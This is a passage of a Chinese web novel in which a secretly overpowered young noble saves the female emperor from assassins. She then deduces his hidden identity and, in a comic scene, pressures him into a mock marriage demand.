江凡脑海中却不由自主地回想起方才崖底那惊心动魄又旖旎万分的一幕,以及女帝那羞红的脸颊和柔软的身子…
“打住!打住!江凡啊江凡,那是女帝!是你老板!别胡思乱想!”
他狠狠掐了自己大腿一把,强行将那些不合时宜的画面驱散。
然而,心中某个角落,却似乎有什么东西,已经悄然发生了改变。
夜色深沉,火光摇曳。
西山围场营地经过一场血腥洗礼,空气中仍弥漫着淡淡的血腥味。
残存的禁军和血狼卫正在紧张地清理战场,收殓袍泽遗体,每个人的脸上都带着疲惫与悲愤。
中军大帐内,气氛凝重。
数盏牛油灯将大帐照得通明,却驱不散那弥漫的压抑与寒意。
萧璇月已换上干净的常服,脸色依旧苍白,但眼神已恢复了帝王的锐利与冰冷。
她端坐于临时搬来的帅案后,听着下方将领的禀报,玉手不自觉地抚上胸口,那里,被掌力击中的地方仍隐隐作痛。
而更深处,似乎还残留着崖底那羞人接触的触感…
“…禀陛下,来袭刺客共计四十七人,已全部伏诛,无一生还。经查验,多为死士,身上无任何标识。但…有三名被俘者,趁守卫不备,咬碎口**囊自尽,未能留下活口。”
一名将领单膝跪地,沉声禀报,声音带着愤懑。
“废物!”萧璇月凤眸含煞,猛地一拍桌案,
“朕要的不是尸体!是要揪出幕后主使的铁证!”
她胸口因怒气而微微起伏,牵扯到内伤,忍不住轻咳了两声。
“陛下息怒!保重龙体!”
江撼岳、云暮等人连忙劝道。
萧璇月深吸一口气,强迫自己冷静下来,目光转向旁边一位须发皆白的老者,正是皇室供奉中一位地位颇高的‘玄老’,一位大宗师巅峰的强者,见多识广。
她沉声问道:
“玄老,可曾看出那些刺客的路数?”
玄老上前一步,躬身道:
“回陛下,老臣与几位同僚仔细查验过刺客尸身,观其真气残留、所用**路数,与江湖上几个门派颇为相似。
尤其其中几人,所使掌法阴毒狠辣,掌力中蕴含一股侵蚀生机的煞气,与南疆‘五毒教’的‘腐骨煞掌’颇有几分神似。
另有几人,身法诡异,剑走偏锋,像是北地‘幽冥宗’的‘鬼影步’与‘无常剑’…”
“五毒教?幽冥宗?”
萧璇月眼中寒光一闪,冷笑道,
“好啊!江湖门派,什么时候也敢插手朝廷之事,对朕下**了?真是吃了熊心豹子胆!”
她缓缓站起身,声音冰冷如刀:
“传朕旨意!待狩猎结束,立即着令兵部会同刑部、大理寺,彻查五毒教、幽冥宗!
凡与此事有牵连者,无论身份地位,杀无赦!若其宗门胆敢包庇,或反抗朝廷调查…”
她顿了顿,语气森然,
“即派大军,踏平其山门,鸡犬不留!朕倒要看看,是他们的脖子硬,还是朕的刀快!”
帐中众人闻言,心中一凛。
女帝这是要动真格的了!
江湖与朝廷,向来井水不犯河水,如今竟敢参与刺杀天子,这无异于谋逆!
女帝震怒之下,血流成河亦非不可能!
然而,玄老却面露难色,迟疑道:
“陛下息怒。那五毒教盘踞南疆十万大山,地形险恶,用毒诡谲,教中高手不少。幽冥宗更是行踪诡秘,其山门所在,至今无人知晓确切位置。
且据老臣所知,这两派传承久远,底蕴深厚,宗内恐怕皆有极道宗师坐镇…若朝廷大军贸然围剿,恐…恐非易事,且师出无名,易激起江湖动荡啊。”
“极道宗师?”
萧璇月眼中厉色更浓,但心中也升起一股无力感。
极道宗师,已非凡俗军队所能轻易对付,需付出极大代价。
她虽贵为天子,掌握百万大军,但面对这等超凡存在,亦感掣肘。
她不由地再次想起那个金色身影…若是有他在…
“哼!极道宗师又如何?刺杀天子,罪同谋逆!此仇不报,朕威严何存?朝廷法度何在?!”
她强压怒火,寒声道,
“此事暂且记下!待朕腾出手来,定要这些江湖鼠辈,血债
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血偿!”
她心中已暗暗发誓,无论如何,也要设法请动‘逍遥公子’出手,铲除这些胆大包天的门派!
这念头一起,她脑海中又不由自主地浮现出崖底那双深邃而略带窘迫的眼眸,心跳莫名快了几拍。
“陛下圣明!”
众人齐声应道,心中却是沉甸甸的。
靖王此次请动如此多江湖高手,甚至可能有极道宗师参与,其势力之深、图谋之大,远超想象。
而江湖门派的介入,更让局势变得复杂无比。
“镇国公!”萧璇月看向江撼岳。
“老臣在!”
“你即刻带人,加派人手,彻夜巡逻,严防再有宵小作祟!方圆二十里内,给朕细细地搜!朕不信靖王能不留下一丝痕迹!”
“老臣领旨!”
江撼岳抱拳,杀气腾腾地转身出帐。
“玄老,诸位供奉,有劳你们疗伤休息,但需保持警惕,随时听宣!”
“臣等遵旨!”
众供奉躬身退下。
大帐内,只剩下萧璇月、云暮,以及侍立在一旁的江凡。
江凡见众人退下,眼珠一转,从怀中取出几个小巧的玉瓶,走上前,递给云暮和几位受伤稍轻的供奉,笑道:
“云暮姑娘,诸位前辈,这是家师…呃,这是在下偶得的一些疗伤丹药,对内伤颇有奇效。诸位为护卫陛下受伤,在下于心不忍,还请收下,略尽绵力。”
他差点说漏嘴,赶紧改口。
靖王可能不会善罢甘休,还是花费点人气值让大家尽快恢复,以防随时可能出现的危机。
众人一愣,看向那玉瓶。
玉瓶触手温润,散发着淡淡的药香,沁人心脾。
玄老接过一瓶,拔开塞子,轻轻一嗅,脸色顿时一变:
“这…这是‘九转还魂丹’?此丹炼制极为不易,乃疗伤圣品,有价无市!江世子,这太贵重了!老夫等愧不敢当!”
“是啊!江世子,此等灵药,还是留给你自己防身吧!”
云暮也连忙推辞,但看向江凡的眼神,更多了几分感激和柔和。
她已服用过江凡的丹药,深知其神效。
第155章 还好臣眼尖
“诸位前辈客气了!丹药再好,也是死物,岂能与人命相比?诸位伤势早愈,陛下安危才更有保障!请务必收下!”
江凡言辞恳切的表情。
萧璇月目光复杂地看了江凡一眼,又看看他手中的丹药,脑海中再次浮现‘逍遥公子’喂她服下丹药的情景。
这丹药…与崖底所服,何其相似!
江凡和逍遥公子,果然是师徒关系吗?
她心中那根弦,又被拨动了一下。
她微微颔首:“既是江凡一片心意,诸位就收下吧。尽快疗伤,恢复战力。”
“谢陛下!谢江世子!”
众人见女帝发话,这才感激地收下丹药,对江凡的印象又好了几分。
这小子,虽然有时不着调,但关键时刻,还是挺靠谱的。
待众人服下丹药,各自回帐调息后,大帐内只剩下江凡和萧璇月。
云暮也因伤重,被萧璇月强令在一旁的软榻上打坐疗伤,此刻已进入物我两忘之境。
江凡见女帝脸色依旧不好,想活跃下气氛,笑嘻嘻地从怀里摸出那枚玉佩,邀功似的捧着递到萧璇月面前:
“陛下,您看这是什么?您也太不小心了,这么贵重的东西,怎么掉在崖下了?还好臣眼尖,给捡了回来。物归原主!”
他语气轻松,带着点邀功的意味。
然而,他话音未落,就感觉大帐内的气氛瞬间凝固!
萧璇月娇躯猛地一震,如遭雷击!
她霍然抬头,一双凤眸死死盯着江凡手中的玉佩,又猛地抬起,盯住江凡的脸,呼吸瞬间变得急促起来!
这玉佩!
正是她贴身佩戴的、先帝御赐的凤纹玉佩!
在崖底,她浑身无力之际,曾悄悄将其塞入‘逍遥前辈’的怀中,当做前辈救命的谢礼!
她记得清清楚楚!
绝不可能记错!
当时她心中百感交集,既有感激,亦有羞怯,下意识地想留下一点信物,或者说一点报酬。
可、可这玉佩,怎么会出现在江凡手里?
还说是自己离开的位置捡到的?
被人找到的时候,她仔细整理了衣物,也查看了四周,根本不可能有东西遗落!
一个让她心跳加速的念头在她脑海中炸响!
每次‘逍遥公子’神兵天降,江凡必定不在场!
而‘逍遥公子’飘然离去后,江凡总能‘恰到好处’地出现!
崖底疗伤,那笨拙而窘迫的触感…那双深邃却偶尔闪躲的眼眸…跟江凡何其相似?
还有这玉佩!
就算是逍遥前辈发现了玉佩,让江凡这个弟子还回来,那江凡为何还说是捡到的?
看着江凡‘一脸认真’的样子,若是不知情的确能被他的表现给欺骗了。
仔细想想,江凡身上疑点本来就很多...
难道...他根本没有什么师尊,一直都是同一个人!
这个念头一起,萧璇月感觉自己几乎要窒息!
血液涌上脸颊,让她苍白的脸泛起不正常的红晕。
她死死盯着江凡,目光仿佛要将他彻底看穿!
江凡被她这要**般的目光吓了一跳,下意识地后退半步,心中警铃大作!
难道这玉佩有什么特殊含义,还是被自己摸了女帝嫌弃?
总不能怀疑自己偷了她的玉佩吧?
否则女帝怎么是这副表情?
“他心中打鼓,讪笑道:
“陛、陛下?您…是不是伤势又发作了?脸色怎么这么红?要不…臣去传太医?”
依然是熟悉的关心、熟悉的‘忠心耿耿’...
“不、不用!”
萧璇月猛地回过神,深吸一口气,强压下翻腾的心绪,用尽全身力气,才让自己的声音听起来不那么颤抖,
“你…这玉佩,当真是从崖下…朕跌落的地方…捡到的?”
她一字一句,问得异常缓慢,目光紧紧锁住江凡的双眼,不放过他脸上任何一丝细微的表情变化。
“是啊!”
江凡被她看得心里发毛,硬着头皮点头,努力让自己的表情显得真诚,
“就在陛下您刚刚靠坐的那块石头旁边!臣看这玉佩质地不凡,上面还刻着凤纹,肯定是陛下您的随身之物,就赶紧收起来了。陛下您看,这玉质多好,雕工多精细,要是丢了多可惜…”
他试图用废话来掩饰心虚。
萧璇月的心一点点提起来,最后悬在半空。
她紧紧攥着龙袍下的双手,指甲深深掐入掌心,用疼痛来维持着最后的理智和镇定。
江凡的表情,看起来不似作伪…可他越是这样‘无辜’,越
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是显得可疑!
如果逍遥公子自己想把玉佩还回来,也不需要借‘徒弟’的手,完全能悄无声息的送到自己身边。
所以江凡一定是在撒谎!
这玉佩,他应该不知道怎么出现在自己身上,才以为是自己‘不小心’掉落的!
她很想立刻揭穿他,大声质问,但理智告诉她,不能!
这小子滑不溜手,且能当十几年纨绔,显然极其擅长伪装。
一旦自己说出是主动放在逍遥公子身上的,那鬼知道这小子又会找出什么借口糊弄过去!
贸然揭穿,只会打草惊蛇!
而且…如果江凡真的是逍遥公子…那他伪装纨绔、潜入皇宫、屡次救驾、甚至…在话本中写那些羞人情节…到底意欲何为?
他对自己…又是何种心思?
还有,刚刚给自己脱衣服疗伤,又笨拙穿衣服的人,如果是江凡,自己反而有种松了口气的感觉...
越想,萧璇月的心跳越快,脸颊也越发滚烫。
她强迫自己移开目光,不敢再看江凡,生怕被他看出端倪。
她深吸几口气,努力让自己的声音听起来平静无波:
“原、原来如此。倒是…有劳江爱卿了。既然…既然是你捡到的,那这玉佩便赐予你吧。算是…算是你今夜护驾有功的…赏赐。”
“啊?”江凡这下是真愣住了,连忙摆手,
“使不得、使不得!陛下,这玉佩一看就是御用之物,珍贵无比,臣岂敢收受?这…这于礼不合啊!陛下您还是收回去吧!”
开什么玩笑!
女帝的贴身玉佩,他拿来做什么?
“朕说赏你,便是赏你!”
萧璇月语气突然强硬起来,细听之下,还有一丝羞恼,
“怎么?江爱卿是嫌朕的赏赐太轻,还是…不愿接受?”
“臣不敢!臣…”
江凡急得额头冒汗,正不知如何是好。
就在这时——
“陛下,晚膳到了。”
帐外,忽然传来一个略显尖细、陌生的声音。
江凡和萧璇月同时一怔,对视一眼,都从对方眼中看到了疑惑和警惕!
晚膳?
方才遇袭,人心惶惶,谁还有心思准备晚膳?
而且,女帝的膳食,不是已经明确由江凡负责了吗?
第156章 一直在演戏
“何人送膳?朕不是吩咐过,近日膳食由江侍卫负责吗?”
萧璇月沉声问道,凤眸微眯,手已悄悄按在了案几下的短剑剑柄上。
江凡也悄然移动脚步,挡在了女帝与帐门之间,全身肌肉紧绷,真气暗运。
他看了一眼人气值,刚好有一百万,心中也松了口气。
帐外沉默了一下,随即那声音再次响起,带着一丝谄媚:
“回陛下,是国公爷体恤陛下辛劳,特意命小人送来南疆特产的‘雪莲羹’,最是滋补安神…”
“胡说!”江凡厉声打断,
“国公爷方才出帐巡防,何时吩咐过送膳?你到底是何人?”
他心中警兆狂升!
这声音,绝非军中之人!
也非御膳房太监!
有问题!
轰——!
牛皮帐门被一股狂暴的劲气瞬间撕裂!
一道黑影窜入帐中,速度快到极致,直扑帅案后的萧璇月!
人未至,一股阴冷的掌风已然扑面而来!
大宗师巅峰!
而且是擅长用毒的大宗师巅峰!
“陛下小心!”
江凡瞳孔骤缩,心中怒吼!
他万万没想到,靖王竟然如此丧心病狂,在刚刚经历一场惨败、营地戒备最森严的时刻,还敢再次发动刺杀!
而且是如此近的距离,如此突然的袭击!
供奉们都在疗伤,云暮也入定未醒,此刻帐中,只有他和重伤未愈的女帝!
电光石火之间,江凡根本来不及多想,身体已本能地做出反应!
他猛地一旋身,将身后的萧璇月搂紧怀中,自己则用后背,迎向了那毒辣无比的掌风!
同时,他心中狂吼:
“系统!兑换【无敌领域】!”
幸好剩余的人气值刚刚突破一百万,不然现在九死一生!
【消耗人气值1,000,000点!无敌领域(一分钟)已激活!范围:以使用者为中心,方圆三十丈!】
一股无形的、玄奥至极的领域力量,以江凡为中心,瞬间扩散开来,笼罩了整个大帐!
时间仿佛在这一刻凝固了!
那快如闪电的黑衣刺客,那凌厉阴毒的掌风,像是被按下了暂停键!
更诡异的是,他掌风中蕴含的剧毒真气,也无声无息地消散了!
刺客的眼中,露出了惊恐和难以置信的神色!
他感觉自己像是被施展了定身术,动弹不得,连真气都无法运转!
这是什么妖法?
而江凡,在搂住女帝的刹那,萧璇月顿时感受到一种熟悉的感觉。
这怀抱...这感觉...没错了!
该死的魂淡!
你骗得朕好苦!
好你个江凡!
好你个‘逍遥公子’...
此时江凡已转过身,面对着那近在咫尺的刺客,以及刺客那不足三寸的手掌。
他能清晰地看到对方眼中的惊骇。
他没有丝毫犹豫,心念一动!
“灭!”
那刺客的身体,连同他手中的淬毒**,都在一瞬间化作了尘埃,消散在空气中!
没有声音,没有光影,没有留下任何痕迹,仿佛这个人从未存在过!
【无敌领域剩余时间:59秒……58秒……】
领域之外,一切如常。
怀中的萧璇月惊魂未定地看向那个气势汹汹的刺客,诡异的凭空消失!
仿佛从未出现过!
只有空气中残留的一丝若有若无的腥甜气味,证明着刚才的惊险。
“这…怎么回事?刺客呢?”
萧璇月美眸圆睁,完全无法理解眼前发生的一切,也忘了此时还在江凡的怀里。
江凡心中暗松一口气,后背已被冷汗浸湿。
好险!
再慢零点一秒,他和女帝今天都要交代在这里!
这【无敌领域】果然霸道!
可惜只有一分钟,而且贵得要死!
一百万啊!
心在滴血!
一分钟真男人,代价太大了!
他不敢耽搁,连忙松开手,脸上瞬间切换成一副心有余悸的表情,对着空无一人的帐外方向,深深一揖,用激动的声音高声道:
“多…多谢师尊救命之恩!弟子…弟子感激不尽!”
他必须把‘锅’甩给那位不存在的‘师尊’!
否则根本无法解释这刺客是怎么人间蒸发的!
他这一喊,立刻惊动了帐外护卫和附近疗伤的供奉!
“有刺客!护驾!”
“陛下!陛下您没事吧?!”
“什么人?!”
玄老、影老等数道强横气息瞬间爆发,数道身影冲入大帐,将萧璇月团团护在中间,人人刀剑出鞘,真气鼓荡,警惕地扫视着四周。
云暮也被惊醒,顾不得伤势,闪身护在女帝身前。
“刺客何在?!”
影老厉声喝问,目光如电,扫
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过大帐每一个角落,却只看到破碎的帐门,以及…一脸‘后怕’的江凡。
“刚…刚刚有个黑衣刺客闯进来,想要行刺陛下!”
江凡指着帐门方向,声音带着‘惊魂未定’的颤抖,
“就…就在千钧一发之际,我师尊…他老人家突然出手,那刺客就…就‘噗’的一声,化作飞灰了!然后师尊他老人家又…又走了!”
他编得绘声绘色,努力模仿着劫后余生的样子。
“师尊?难道是逍遥公子前辈?!”
众人闻言,皆是一惊,随即露出恍然和敬畏之色。
是了!
也只有那位神出鬼没、修为通天的陆地神仙,才能如此轻易地秒杀一个大宗师巅峰的刺客,并且不留下丝毫痕迹!
影老和玄老对视一眼,都从对方眼中看到了深深的震撼。
他们刚才就在附近,竟然丝毫没有察觉到任何能量波动和真气残留!
这等手段,已非他们所能揣度!
只能仰望啊!
而江凡竟然是逍遥公子的徒弟,难怪这种高人会暗中协助女帝,也难怪江凡年纪轻轻就有宗师...
嗯?宗师巅峰修为?
这修为提升速度...
不过,既然是陆地神仙的徒弟,修为提升快很正常、很正常....
萧璇月被众人护在中间,听着江凡那‘情真意切’的‘描述’,心中的惊涛骇浪,却比方才**时更加汹涌澎湃!
她美眸死死盯着江凡,那眼神复杂到了极点!
刚刚哪有什么高手,很可能就是江凡出手的。
可他是怎么做到的?
挥了挥手,刺客就化作飞灰?
不留下痕迹?
这…这可是神仙手段!
而且江凡刚才搂着自己的那一刹那,那感觉...与掉崖时逍遥公子的怀抱一模一样!
还有那枚玉佩!
她现在已经基本确定:江凡…就是逍遥公子!
刚才那诡异的一幕,根本不是他‘师尊’所为,而是他…他自己动用了某种不为人知的、神鬼莫测的手段!
他在演戏!
他一直在演戏!
这个认知,让萧璇月的心脏疯狂跳动,几乎要蹦出胸腔!
她感觉一阵眩晕,几乎站立不稳,下意识地扶住了身旁的云暮。
“陛下!您怎么了?可是伤势发作了?”
云暮察觉到她的异样,连忙扶住,关切地问道。
第157章 想当我师娘
“朕没事。”
萧璇月深吸一口气,强行压下翻腾的心绪,目光却依旧没有离开江凡。
她看到江凡‘惊魂未定’地擦着额头并不存在的汗,看到他对众人解释时的表情…
每一个细节,都像是一块拼图,拼凑出一个似乎越来越清晰的真相。
原来这小子这么会演戏,不愧是能当十几年纨绔的人!
“江凡。”
她忽然开口,声音有些沙哑。
“臣在!”
江凡连忙躬身,心中打鼓。
女帝这眼神…怎么越来越不对劲了?
“方才…多谢你。”
萧璇月缓缓道,目光深邃,
“若不是你及时挡在朕面前,又得蒙…尊师再次相救,朕恐怕已遭不测。你…护驾有功。”
“陛下言重了!这都是臣分内之事!是师尊他老人家神通广大!”
江凡赶紧把功劳往外推,“刚刚情况紧急,臣对陛下有逾越之举,还请陛下恕罪。”
他说的是刚刚把女帝抱在怀中的事情,可不兴秋后算账啊!
萧璇月深深地看了他一眼,那目光仿佛要将他从里到外看透。
“爱卿无需担心,你为了救朕,算不上逾越。”
她脑海中,又浮现出‘逍遥公子’给自己疗伤和穿衣服的场景,心中竟然有些莫名的甜蜜。
良久,她才移开目光,对众人道:
“刺客已伏诛,但难保没有同党。传朕旨意,全军戒备,提高至最高等级!玄老,影老,有劳二位,带人彻查营地,看看还有无漏网之鱼!江凡…”
“臣在!”
“你…今夜就守在朕帐外,寸步不离。”
萧璇月的语气带着一丝莫名的情绪。
“臣…遵旨!”
江凡心中一凛,硬着头皮应下。
守在外面?
晚上自己更新话本很辛苦啊喂!
他偷偷抬眼看向女帝,却见她已转过身,走向内帐,只留给他一个略显单薄的背影。
他挠了挠头,心中忐忑不安。
女帝最后看他的那一眼,总让他觉得心里发毛。
‘师尊’的事…她到底信了没有?
反正无敌领域和系统,他不可能让任何人知道。
而这么多大宗师和极道宗师的供奉,能清楚感应到自己只有宗师的修为,不可能怀疑自己有逆天神通。
嗯嗯,是自己多想了。
他怀揣着一丝不安走到帐外,在云暮复杂的目光注视下,像个门神一样杵在那里。
夜风吹过,带来丝丝凉意,却吹不散他心头的烦躁和那一丝莫名的悸动。
他下意识地摸了摸怀中的玉佩,那温润的触感,仿佛还带着女帝的体温和一缕幽香。
看到玉佩,他脑海中女帝那几乎不着片缕的绝美身姿就充斥脑海,挥之不去...
哎!
看样子是该找个媳妇了,竟然开始想女人了。
好像周婉如就不错,自己做什么都支持,文文静静的,长得也行。
帐内,萧璇月背对着帐门,独自站在摇曳的烛火旁。
她的心波澜起伏,久久无法平静。
江凡就是逍遥公子!
这个混蛋明明有通天修为,为什么装了这么久的纨绔?
崖底的窘迫,挡在身前的决绝,那‘笨拙’的疗伤,那‘情真意切’的表演…
一切的一切,如同走马灯般在她眼前闪过。
“江凡!”
最终,她还是没忍住,把江凡叫进帐中。
“陛下,有什么吩咐?”
江凡连忙进来,一脸恭敬。
萧璇月深吸一口气,声音平静无波,却带着试探:
“江凡,朕方才仔细思量,你那位神通广大、屡次救朕于危难的师尊…可是名号‘逍遥公子’?就是写《深宫迷恋》的作者?”
江凡心中一凛,知道这个问题避无可避,因为老爹也在怀疑。
他心思电转,瞬间做出决断——真假参半,虚与委蛇!
反正‘师尊’这个身份,本就是最好的挡箭牌!
既能为自己的异常找到合理解释,又能继续隐藏‘逍遥公子’就是自己的真相!
他脸上立刻露出苦笑,躬身道:
“陛下…明察秋毫!师尊他老人家…确实…便是‘逍遥公子’。臣之前不敢承认,也是师傅他老人家的叮嘱,还请陛下恕罪。”
“原来如此…”
萧璇月身体微微前倾,凤眸紧紧锁定江凡,追问道:
“那么,你这一身修为,那些神出鬼没的话本,还有今夜刺客消失的奇事…皆是出自尊师之手?”
“陛下圣明!”
江凡继续演戏,反正不怀疑自己就行,
“弟子资质愚钝,蒙师尊不弃,收录门墙,传授了些微末技艺。至于话本、丹药、以及…方才刺客之事,皆是师尊他老人家游戏风尘、暗中护佑陛下之举。
师尊他老人家神龙见首不见尾,行事高深莫测,弟子…弟子也只是
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奉命行事,其中缘由,不甚了了。”
他将一切都推到‘师尊’身上,将自己摘得干干净净。
萧璇月静静听着,心中冷笑:这小子表演天赋不错,难怪能一次次骗过所有人!
现在除了江凡神秘莫测的修为,最大的疑惑就是怎么更新的话本。
她缓缓点头,语气莫名:
“原来如此!尊师学究天人,修为通神,实乃世外高人。屡次援手,于国有大功,于朕有救命之恩。朕…感激不尽。”
她顿了顿,话锋陡然一转,语气带上了一丝羞涩,“只是…”
江凡心中警铃再次大作,硬着头皮问:
“陛下…有何吩咐?”
萧璇月目光灼灼地看着他,一字一句道:
“只是…今夜崖下,尊师为朕…疗伤逼毒之时,朕…朕衣衫不整,近乎赤诚相见。此等情形,虽为救急,然…于朕而言,已无清白可言。大夏礼法,女子名节重若性命,朕虽为天子,亦不能免俗。”
喜欢演戏是吧?
朕陪你演!
江凡闻言,脸色‘唰’地一下白了!
他心中哀嚎:不是吧?我那是救你的命啊喂,你这女人要碰瓷咋滴?
他连忙辩解:
“陛下明鉴!师尊他老人家乃方外之人,心无杂念,一心只为救治陛下!绝无亵渎之心!
当时事急从权,陛下性命攸关,岂可拘泥于世俗小节?况且…况且师尊他老人家,对男女之事,早已看淡,视红颜如枯骨…”
他搜肠刮肚,试图将‘师尊’塑造成一个不食人间烟火、清心寡欲’的得道高人形象。
然而,萧璇月根本不吃他这一套。
要真是看淡,当时能那么生涩紧张?
既然这小子不老实,那就逗逗他!
她轻轻摇了摇头,脸颊泛起一抹动人的红晕,声音却异常坚定:
“江爱卿此言差矣。朕非草木,孰能无情?尊师对朕有救命之恩,更…更有肌肤之亲,此乃事实。朕之心意,天地可鉴,非是那等不知感恩、拘泥礼法之辈所能理解。
朕…愿以身相许,嫁与尊师为妻,以报救命之恩,全朕之清名,亦结秦晋之好,永固大夏江山!还望江爱卿,将此心意,转达尊师!”
“轰——!”
江凡只觉得五雷轰顶,脑袋嗡嗡作响!
以身相许?
嫁给我师尊?
开什么国际玩笑!
老子拼命救你,你却想当我师娘?
第158章 女帝的要挟
江凡急得差点跳起来,舌头都打结了:
“陛…陛下!万万不可!万万不可啊!师尊他…他老人家闲云野鹤,游戏人间,早已看破红尘,不恋俗世!
他…他老人家曾言,此生不娶,不入凡尘!弟子也曾听闻,师尊早年…咳咳,曾受情伤,立誓终身不娶!
陛下天姿国色,风华绝代,乃九五之尊,岂可…岂可屈尊下嫁一山野之人?此事断然不可!还请陛下收回成命!”
他语无伦次,几乎要把‘师尊’描绘成一个受过情伤、心理有问题的老鳏夫了。
萧璇月听着他漏洞百出的‘辩解’,心中愈发笃定,嘴角不禁勾起一丝弧度。
她垂下眼帘,掩去眸中的狡黠,声音却带上了一丝哀伤与决绝:
“江爱卿不必多言。朕之心意已决!此事关乎朕之清誉,更关乎大夏国体!若尊师不愿,朕…
朕便昭告天下,逍遥公子对朕有救命之恩,更有…肌肤之亲,却始乱终弃,不愿负责!届时,天下悠悠之口,尊师纵是陆地神仙,恐也难以堵住吧?”
“始乱终弃”?!
“不愿负责”?!
江凡眼前一黑,差点一口老血喷出来!
这女人!
这是要毁了他‘逍遥公子’一世英名啊!
他仿佛已经看到京城的头条:
《惊!神秘高人逍遥公子竟对大夏女帝做出这等事!事后竟一走了之!》
……
这画面太美,他不敢想!
“陛下,三思啊!陛下,这…这可使不得!有损陛下清誉,更有损国体啊!”
江凡急得如同热锅上的蚂蚁,连连作揖。
“那便让尊师亲自来与朕说!”
萧璇月抬起头,凤眸中闪烁着奇异的光芒,语气斩钉截铁,
“江凡,朕给你三日时间!三日内,你需让逍遥公子亲自与朕一晤!否则…三日之后,休怪朕将此事公之于众!
到时,朕倒要看看,是尊师的颜面重要,还是朕的清白重要!”
她顿了顿,语气放缓,却带着更深的意味:
“朕相信,你和尊师自有联络的方式。而且以尊师的本事,区区三日,定然足够你…传讯给他了,对吗?”
她特意加重了‘你’字的读音,目光仿佛洞穿了一切。
江凡:“……”
他感觉自己快要窒息了!
这女人,简直就是吃定他了!
三日?
他倒是能兑换【陆地神仙体验卡】假装逍遥公子,可那是一百万人气值啊!
而且…见了面说什么?
难道真要答应娶她?
开什么玩笑!
“陛下…这…这…”
江凡张了张嘴,还想垂死挣扎。
“嗯?”萧璇月凤眉一挑,一股无形的帝王威压弥漫开来,
“江爱卿,可是觉得…朕的旨意,有何不妥?”
“臣…臣不敢!”
江凡瞬间蔫了,如同霜打的茄子,哭丧着脸,有气无力地躬身道:
“臣…遵旨!臣…定当设法,将陛下旨意…转达师尊。”
他心中已经将女帝一百遍啊一百遍,怎么还带讹人的!
“很好。”
萧璇月满意地点点头,脸上露出满意的表情。
她像是想起什么,继续说道:
“对了,那枚玉佩,乃是先帝所赐,朕自幼佩戴,从不离身。既然江爱卿不喜欢,便劳烦江爱卿,代为转交尊师。便说是…朕赠予他的定情信物。望他…莫要辜负了。”
江凡嘴角抽搐,恨不得给自己一巴掌!
让你手贱!
让你多事!
捡什么玉佩!
现在好了吧?
自己送自己‘定情信物’?
这叫什么事儿啊!
他苦着脸道:
“臣…臣一定…转交…”
“嗯,下去吧。朕乏了。”
萧璇月挥了挥手,似乎有些‘疲惫’地揉了揉眉心,但嘴角那一闪而逝的的笑意还是被云暮注意到了!
“臣…告退。”
江凡垂头丧气,步履蹒跚地退出了大帐。
走出帐门,他的脸已经黑如锅底!
怎么办?
难道真要花费一百万人气值,只是为了跟女帝见一面,让她彻底死心?
我的人气值啊...咋这么气人...
帐内,萧璇月待江凡的身影消失在帘外,脸上的‘疲惫’瞬间变成一抹狡黠又带着几分羞涩的笑容。
她轻轻抚摸着光滑的下巴,低声自语:
“江凡啊江凡…朕倒要看看,你这出‘师徒’大戏,还能演到几时?三
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日内…朕等着你的‘师尊’大驾光临!”
“陛下,”
云暮悄无声息地出现在她身侧,脸上带着担忧和不解,
“您方才所言…可是真的?您当真要和逍遥前辈…”
她有些难以启齿,感觉陛下跟逍遥前辈是不可能的。
还是江世子更靠谱一些...连珍贵的丹药都给她和供奉们...
呃,拿人手短!
萧璇月看了她一眼,恢复了帝王的冷静,低声传音道:
“是真是假,三日之内自有分晓。云暮,你这三日内,给朕盯紧江凡,只要他离开你的视线,什么时候、多长时间,都给朕记下来!”
她眼中闪过一丝锐芒。
“奴婢遵命!”
云暮心中一凛,躬身领命。
……
帐外,夜凉如水。
江凡像丢了魂似的,背靠着营帐,只觉得心力交瘁。
女帝的话,如同魔音灌耳,在他脑中回荡——
“三日内…否则昭告天下…始乱终弃…”
“造孽啊!”
江凡仰天长叹,欲哭无泪。
这叫什么事儿?
救人还救出‘桃花劫’来了?
还是自己给自己挖的坑!
不行!
绝对不能坐以待毙!
他下意识地调出系统界面,看着那可怜的、因为刚刚兑换【无敌领域】而缩水到只剩【80,650】的人气值,心在滴血。
距离兑换下一张【陆地神仙体验卡】,还差得远!
除了见女帝,还要以防万一,也就是需要两百万人气值!
三天时间,必须凑够!
“对!话本!更新话本!”
现在唯一的快速人气来源,就是更新《深宫秘恋》!
女帝不是逼婚吗?
不是用‘清白’要挟吗?
行!
你让我不爽,我就让你在话本里也难受难受!
让你看看什么叫‘渣女’!
看你还敢不敢乱来!
他恶向胆边生,也顾不上什么‘大逆不道’了,直接沉入空间,开始奋笔疾书!
最新章回:负心薄幸帝王心,新人笑来旧人哭!
书中,他‘含沙射影’,将‘大乾女帝’塑造成一个‘用完就扔’、‘见异思迁’的‘渣女’形象...
第159章 非要他负责
江凡越写越嗨,继续奋笔疾书:
侍卫林枫被气走之后,女帝却因为帝王身份不肯认错道歉。
而且还和那位家世显赫、英俊潇洒、风流倜傥的国公世子亲近。
国公世子对她大献殷勤,甜言蜜语,百依百顺之后,女帝立刻将生死未卜的林枫抛到脑后!
不仅与国公世子花前月下,诗词唱和,甚至…同乘一骑,共游御花园!
宫中流言四起,都说女帝要纳新欢,弃旧爱!
而孤身一人的林枫,听到这个消息后,顿时心灰意冷…
江凡越写文笔越发犀利,将‘女帝’的薄情寡义、喜新厌旧刻画得入木三分,将‘林枫’的忠心耿耿、惨遭抛弃描绘得凄凉无比。
将‘国公世子’的虚伪做作、乘虚而入写得令人作呕!
最后,在‘林枫’黯然神伤时,还特意安排了一场大雨,让他看到‘女帝’与‘国公世子’在御花园凉亭中,亲密交谈,共赏雨景的‘虐心’场景!
简直闻者伤心,见者落泪!
“哼!让你逼婚!让你始乱终弃!看我不黑死你!”
江凡心中暗暗‘解气’,点击提交。
【作品检测中…完整性符合要求,审核通过。开始随机生成复刻本(6000份),投放中…】
【当前人气值:95630】
看着人气值开始加速提升,江凡心里总算好受了一些。
他退出系统空间,长长舒了口气,只觉心神疲惫。
心神创作,让他精神消耗极大。
他打了个大大的哈欠,眼皮开始打架。
就在这时,两道人影悄无声息地来到他身旁,正是已调息完毕的影老和玄老。
两位供奉脸色红润,气息平稳,显然伤势已好了大半。
“江小友,”
影老苍老的声音带着一丝温和的谢意,
“方才多亏你师尊再次出手,击毙刺客,又赐下灵丹,老夫与玄老的伤势已无大碍。
今夜,便由我二人为陛下守夜,你奔波劳累,又受惊不小,去旁边帐篷歇息吧。”
“是啊,江小友,快去歇着吧。这里有我们,陛下定然无虞。”
